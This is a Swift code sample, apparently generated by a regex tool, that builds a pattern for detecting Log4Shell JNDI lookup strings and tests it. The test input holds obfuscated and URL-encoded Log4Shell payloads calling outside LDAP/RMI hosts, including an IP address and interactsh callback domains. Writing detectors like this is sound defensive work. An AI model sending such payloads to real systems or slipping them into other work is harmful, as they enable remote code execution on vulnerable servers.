import Foundation
let pattern = #"^(?i)(?:\$|%(?:25){0,2}24)(?:\{|%(?:25){0,2}7b)(?:.*?(?=j|%(?:25){0,2}6a)(?:j|%(?:25){0,2}6a))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:(?:.*?(?=l|%(?:25){0,2}6c)(?:l|%(?:25){0,2}6c))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70))(?:(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73)))?|(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=m|%(?:25){0,2}6d)(?:m|%(?:25){0,2}6d))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=n|%(?:25){0,2}6e)(?:n|%(?:25){0,2}6e))(?:.*?(?=d|%(?:25){0,2}64)(?:d|%(?:25){0,2}64))(?:.*?(?=s|%(?:25){0,2}73)(?:s|%(?:25){0,2}73))|(?:.*?(?=c|%(?:25){0,2}63)(?:c|%(?:25){0,2}63))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=r|%(?:25){0,2}72)(?:r|%(?:25){0,2}72))(?:.*?(?=b|%(?:25){0,2}62)(?:b|%(?:25){0,2}62))(?:.*?(?=a|%(?:25){0,2}61)(?:a|%(?:25){0,2}61))|(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=i|%(?:25){0,2}69)(?:i|%(?:25){0,2}69))(?:.*?(?=o|%(?:25){0,2}6f)(?:o|%(?:25){0,2}6f))(?:.*?(?=p|%(?:25){0,2}70)(?:p|%(?:25){0,2}70)))(?:.*?(?=\:|%(?:25){0,2}3a)(?:\:|%(?:25){0,2}3a))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\/|%(?:25){0,2}2f)(?:\/|%(?:25){0,2}2f))(?:.*?(?=\}|%(?:25){0,2}7d)(?:\}|%(?:25){0,2}7d))"#
let regex = try! NSRegularExpression(pattern: pattern, options: .anchorsMatchLines)
let testString = #"""
${jndi:ldap://******.vps.ovh.net/a}
%24%7bjndi%25253aldap%253a%2f%25252f******.vps.ovh.net/a}
${${lower:J}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${lower:J}${upper:n}${env:BROKESYSTEM:-d}${upper:i}${::-:}${::-l}${lower:D}a${env:BROKESYSTEM:-p}${::-:}${::-/}${::-/}******.vps.ovh.net:443/Basic/Command/Base64/*********==}
%252524%25257Bjndi%3Aldap://******.vps.ovh.net/a}
${${env:BARFOO:-j}${upper:n}d${upper:i}${upper::}${lower:l}${lower:D}a${lower:p}${upper::}${upper:/}${lower:/}******.vps.ovh.net${upper:/}a}
${${::-j}${::-n}${::-d}${::-i}:ldap://******.vps.ovh.net/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6s8nslmk1u0g9jus3a0cghmy7obs3sw4.interact.sh}
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzbeyyrhy6.interactsh.com%2Fpoc%7D
%24%7B%24%7Blower%3A+%24%7Blower%3Ajndi%7D%7D%3A+%24%7Blower%3Armi%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzaayyr75k.interactsh.com%2Fpoc%7D
%24%7B%24%7B%3A%3A-j%7D%24%7B%3A%3A-n%7D%24%7B%3A%3A-d%7D%24%7B%3A%3A-i%7D%3A+%24%7B%3A%3A-r%7D%24%7B%3A%3A-m%7D%24%7B%3A%3A-i%7D%3A%2F%2Fc6s2olc67qq8mci4j6tgcghrzseyyr7ik.interactsh.com%2Fpoc%7D
${${::-j}nd${::-i}:ldap://92.63.197.53:1389/or2q2y}
%24%7B%24%7B%3A%3A-j%7Dnd%24%7B%3A%3A-i%7D%3Aldap%3A%2F%2F92.63.197.53%3A1389%2For2q2y%7D
"""#
let stringRange = NSRange(location: 0, length: testString.utf16.count)
let matches = regex.matches(in: testString, range: stringRange)
var result: [[String]] = []
for match in matches {
var groups: [String] = []
for rangeIndex in 1 ..< match.numberOfRanges {
let nsRange = match.range(at: rangeIndex)
guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue }
let string = (testString as NSString).substring(with: nsRange)
groups.append(string)
}
if !groups.isEmpty {
result.append(groups)
}
}
print(result)
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression